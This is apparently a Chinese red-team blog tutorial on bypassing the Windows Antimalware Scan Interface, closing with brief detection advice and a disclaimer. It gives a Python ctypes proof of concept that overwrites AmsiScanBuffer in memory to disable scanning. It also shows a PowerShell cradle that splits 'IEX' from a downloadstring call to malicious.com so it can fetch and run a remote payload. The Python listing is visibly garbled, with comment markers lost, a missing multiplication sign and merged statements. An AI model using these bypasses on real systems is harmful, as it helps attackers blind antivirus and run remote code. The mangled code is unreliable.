0x01 前奏:幕后黑客与AMSI之战
在2023年年初,一场围绕着Windows反恶意软件扫描接口(AMSI)的新型攻击手法被曝光,迅速引起了安全圈的讨论。这次攻击事件揭示了AMSI绕过技术在现代Windows系统上仍然具有很大的威胁潜力。作为一名红队专家,我将从攻击者的视角深入分析AMSI绕过技术的原理、实现与实战应用。
AMSI是微软为了提高Windows系统安全性而引入的一个重要机制,它旨在检测和拦截恶意软件的执行。然而,攻击者的目标始终是寻找并利用系统机制的薄弱之处,以达到避开检测、获取权限的目的。本文将详细揭示AMSI绕过的方法,帮助安全研究人员更好地理解攻击者的思路。

0x02 寻找破绽:AMSI的软肋
AMSI的工作原理是通过拦截脚本引擎调用接口,将代码内容传递给注册的安全产品进行扫描。一旦检测到恶意行为,AMSI会阻止该代码的执行。然而,正如其他安全功能一样,AMSI不是完美无瑕的。攻击者通过研究发现,其在实现中存在一些可被利用的弱点。
AMSI拦截机制
AMSI的核心在于AmsiScanBuffer这个函数,它负责将脚本内容提交给安全产品。攻击者主要针对该函数展开攻击,一旦能成功劫持或篡改调用,就能绕过AMSI的检测。最常见的绕过手法包括:
- 内存补丁:直接修改进程内存中
AmsiScanBuffer的字节码,使其始终返回成功。 - Hooking:通过API钩子技术,劫持调用流程,绕过实际的扫描过程。
- 字符串分割与混淆:分割恶意代码片段,使AMSI的正则检测失效。
0x03 流量捕获实战:构建攻击环境
在展开攻击之前,我们需要一个可控的实验环境来测试AMSI绕过技术。

搭建实验环境
- 虚拟机准备:使用VirtualBox或VMware创建一台Windows 10虚拟机。确保启用了最新的Windows Defender。
- 工具安装:安装PowerShell 5.0或更高版本,并准备好常用的攻击工具,如Metasploit和Cobalt Strike。
- 网络隔离:确保实验环境在一个隔离的网络中,以防止意外的攻击外泄。
POC代码实现
目标:通过内存补丁的方法绕过AMSI的检测。
我们将使用Python结合Ctypes库修改目标进程内的AMSI函数返回值。
<pre><code class="language-python">import ctypes
def patch_amsi():
获取kernel32和amsi.dll句柄
k_handle = ctypes.windll.kernel32 a_handle = ctypes.windll.LoadLibrary("amsi.dll")
获取AmsiScanBuffer函数地址
asb_address = k_handle.GetProcAddress(a_handle._handle, b'AmsiScanBuffer')
绕过AMSI,修改函数返回值为0,表示成功
patch = (ctypes.c_char 6)([0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3])
修改内存保护属性以写入
old_protect = ctypes.c_ulong() k_handle.VirtualProtect(asb_address, ctypes.sizeof(patch), 0x40, ctypes.byref(old_protect))
写入补丁并恢复内存保护
ctypes.memmove(asb_address, patch, ctypes.sizeof(patch)) k_handle.VirtualProtect(asb_address, ctypes.sizeof(patch), old_protect.value, ctypes.byref(old_protect))
patch_amsi()</code></pre>
代码解读:通过对内存的直接修改,我们将AmsiScanBuffer内的关键字节替换为一个始终返回成功的代码片段。这种方法可以有效绕过AMSI的检测。

0x04 Payload构造的艺术:混淆与分割
虽然内存补丁是一种直接而有效的方法,但某些场合需要更加隐蔽的手法。攻击者常用的另一种策略是通过混淆技术来构建复杂的Payload,使AMSI的静态分析失效。
字符串混淆
通过将恶意代码分解为多个无意义的片段,并在运行时重新组合,攻击者可以有效避开AMSI的检测。
PowerShell示例
<pre><code class="language-powershell"># 分割恶意Payload $par1 = 'IEX' $par2 = '((new-object net.webclient).downloadstring("http://malicious.com/payload"))'
混淆与执行
Invoke-Expression ($par1 + " " + $par2)</code></pre>
技术要点:AMSI依赖于静态模式匹配来识别恶意代码。通过将代码片段打散并动态重组,攻击者能够绕过这种模式匹配机制。
0x05 检测与防御:破与立之间
每一种攻击都伴随着检测与防御的需求。虽然攻击者能够通过多种手段绕过AMSI,但蓝队仍然可以采用进阶的检测和防护策略来提高防御能力。
加强监控与检测
- 行为分析:与传统的静态分析不同,行为分析通过监控脚本的运行行为,识别潜在的恶意活动。
- 内存完整性检查:定期扫描进程内存的完整性,检测和恢复被篡改的内存区域。
防御措施
- 策略更新:不断更新AMSI的检测策略,以应对攻击者的新型混淆手法。
- 多层次防护:结合EDR(端点检测与响应)等先进技术,形成多层保护机制,及时发现异常活动。
0x06 个人经验分享:从攻击者到防御者
从事红队工作多年,我深刻体会到攻击与防御之间的永恒斗争。对于AMSI绕过,无论是攻击者还是防御者,都需要不断学习和适应新的技术。
攻击者的思维:永远不满足于现有的攻击手法,勇于探索新的攻击面和技术。
防御者的策略:不仅要具备对现有攻击的检测与响应能力,更要具备前瞻性的思维,提前部署可能的防线。
AMSI绕过技术的存在,提醒我们在安全领域绝不可能一劳永逸。无论是开发新的攻击技术,还是探索新的防御方案,都需要技术人员不断的努力与创新。最终,只有通过攻防双方的共同进步,才能实现更安全的网络环境。
---
声明:本文仅限授权安全测试,不得用于非法用途。本文内容仅供安全研究人员学习与参考。